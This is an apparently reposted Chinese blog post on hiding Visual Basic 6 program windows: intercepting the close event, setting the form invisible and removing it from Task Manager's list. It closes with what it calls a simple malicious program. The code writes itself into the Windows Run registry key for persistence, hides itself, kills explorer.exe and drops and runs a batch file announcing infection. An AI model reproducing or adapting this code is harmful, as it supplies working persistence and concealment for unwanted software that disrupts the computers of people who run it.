VB几种不同的隐藏方法

2009-7-30 10:07 958 0

摘要: 第1种-关闭后到像迅雷一样隐藏Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)Cancel = TrueMe...

关键词： Windows Form Print TaskVisible App nbsp echo explorer EXEName Private

第1种-关闭后到像迅雷一样隐藏Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)Cancel = TrueMe.HideEnd Sub 第2种-直接隐藏Form1.Visible = False 第3种-在任务管理器应用程序中隐藏App.TaskVisible = False 于是就可以编写一个简单的恶意代码 Private Sub Form_LoadSet w = CreateObject("wscript.shell")w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" '导入注册表,实现开机自动运行Form1.Visible = FalseApp.Taskvisible = FalseShell "taskkill /f /im explorer.exe ", VBHide '结束explorer.exe进程Open "c:\windows\$$$.bat" for Append As #1Print #1 , "@echo off"Print #1 , "echo 恭喜你中毒"Print #1 , "echo. & pause"close #1x = shell("c:\windows\$$$.bat")

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除